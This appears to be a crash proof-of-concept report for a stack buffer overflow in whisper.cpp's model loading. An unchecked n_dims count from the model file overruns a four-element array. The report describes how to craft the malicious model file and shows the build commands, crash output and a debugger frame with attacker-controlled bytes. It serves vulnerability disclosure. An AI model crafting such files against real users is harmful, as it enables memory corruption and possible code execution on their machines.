| # Dynamic crash proof β whisper.cpp unchecked `n_dims` stack buffer overflow |
| |
| Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64). |
| |
| ## Target |
| - repo: `ggml-org/whisper.cpp` @ `6fc7c33` |
| - Sink: `src/whisper.cpp` `whisper_model_load()` tensor-read loop β `int32_t ne[4]` written with an |
| unbounded, attacker-controlled `n_dims` count. |
|
|
| ## Build (Release, CPU-only, `-fstack-protector-all`; NO sanitizer) |
| ``` |
| cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \ |
| -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \ |
| -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all" |
| cmake --build build-rel --target whisper-cli |
| ``` |
|
|
| ## Malicious input β `poc_whisper_ndims.bin` (80 KB) |
| Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop), |
| then ONE tensor record with `n_dims = 20000` followed by 20000 sentinel words `0x41414141` ("AAAA"). |
|
|
| ## Run + crash |
| ``` |
| whisper_model_load: type = 1 (tiny) |
| whisper_model_load: adding 51865 extra tokens |
| whisper_model_load: CPU total size = 77.11 MB <- model fully built; entering tensor-read loop |
| <SIGSEGV> |
| exit=139 (128 + SIGSEGV(11)) |
| ``` |
|
|
| ## lldb stop frame β attacker bytes in the fault address |
| ``` |
| * thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149) |
| frame #0: libc++.1.dylib`std::basic_istream<char>::read(char*, long) + 36 |
| -> str xzr, [x0, #0x8] ; x0 = 0x141414149 |
| ``` |
| The faulting address `0x141414149` is the attacker sentinel `0x41414141` ("AAAA"): the unbounded |
| `for (i=0;i<n_dims;++i) read_safe(loader, ne[i])` loop wrote our chosen 4-byte words far past the |
| 4-element stack array `ne[4]`, overwriting adjacent stack state (including the `std::istream` object |
| pointer used by the very next `read_safe`), which is then dereferenced β crash. This demonstrates |
| **attacker-controlled stack memory corruption** (CWE-787), not a benign parser error. |
|
|
| ## What this proves |
| 1. `n_dims` from the model file is used as an unchecked loop bound over a fixed `int32_t ne[4]`. |
| 2. The loop writes attacker-chosen 4-byte values sequentially past the array β the classic |
| controlled-length/controlled-content stack smash. |
| 3. Reached via the standard `whisper_init_from_file` β `whisper_model_load` path that EVERY |
| whisper.cpp application uses to load a model. (The sibling site `whisper_vad_init_with_params` |
| has the identical bug on the VAD-model path.) |
| ``` |
| |